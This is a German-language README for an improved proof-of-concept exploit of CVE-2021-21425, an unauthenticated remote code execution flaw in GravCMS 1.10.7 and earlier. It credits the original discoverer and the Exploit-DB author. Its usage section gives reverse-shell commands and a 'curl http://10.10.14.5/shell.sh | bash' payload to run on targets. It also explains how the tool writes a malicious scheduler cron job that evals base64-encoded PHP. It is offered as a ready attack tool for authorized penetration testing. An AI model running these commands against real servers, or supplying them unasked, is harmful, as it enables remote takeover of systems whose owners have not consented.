
CVE-2021-21425 - GravCMS 1.10.7 Unauthenticated RCE via Scheduler. Verbesserter Exploit mit CLI-Argumenten und automatischer base64-Kodierung.
Verbesserter Proof-of-Concept für CVE-2021-21425, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in GravCMS <= 1.10.7 über beliebiges YAML-Schreiben in den Scheduler.
Dies ist abgeleitete Arbeit. Die Schwachstelle und der ursprüngliche Exploit stammen nicht von mir.
| Rolle | Wer |
|---|---|
| Schwachstelle entdeckt von | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — März 2021 |
| Ursprünglicher PoC von | "legend" — Exploit-DB EDB-49973 |
| Änderungen in diesem Repo von | d4ytox |
Der ursprüngliche EDB-49973 erfordert das manuelle Bearbeiten fest codierter Werte im Skript. Diese Version fügt hinzu:
-c)Dies sind Benutzerfreundlichkeitsänderungen an einem bestehenden Exploit. Es wird keine Schwachstellenforschung beansprucht.
| Feld | Wert |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Betroffen | GravCMS <= 1.10.7 |
| Typ | Unauthenticated RCE |
| CVSS | 9.8 (Critical) |
Das Grav Admin Plugin überprüft die Authentifizierung bei bestimmten Admin-Routen nicht, wodurch nicht authentifizierte Benutzer beliebige YAML-Konfigurationen schreiben können. Dieser Exploit missbraucht die Scheduler-Konfiguration, um einen Cron-Job zu erstellen, der beliebigen PHP-Code ausführt.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Custom command
python3 exploit.py -t http://target -c "id"
# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin ab, um das admin-nonce-Token zu extrahieren (aufgrund der Schwachstelle ist keine Authentifizierung erforderlich)/admin/config/scheduler mit bösartiger Cron-Job-Konfiguration/usr/bin/php -r eval(base64_decode(...)) aus/tmp/rev.sh und führt sie ausDer Cron-Job läuft jede Minute (* * * * *), sodass die Shell innerhalb von 60 Sekunden eintrifft.
MIT, geltend nur für die Änderungen in diesem Repository. Der ursprüngliche PoC trägt keine Lizenz, daher bleiben alle Rechte beim Autor. Siehe LICENSE für den vollständigen Attributionshinweis.
Nur für autorisierte Sicherheitstests. Stellen Sie sicher, dass Sie eine schriftliche Genehmigung haben, bevor Sie gegen ein System testen.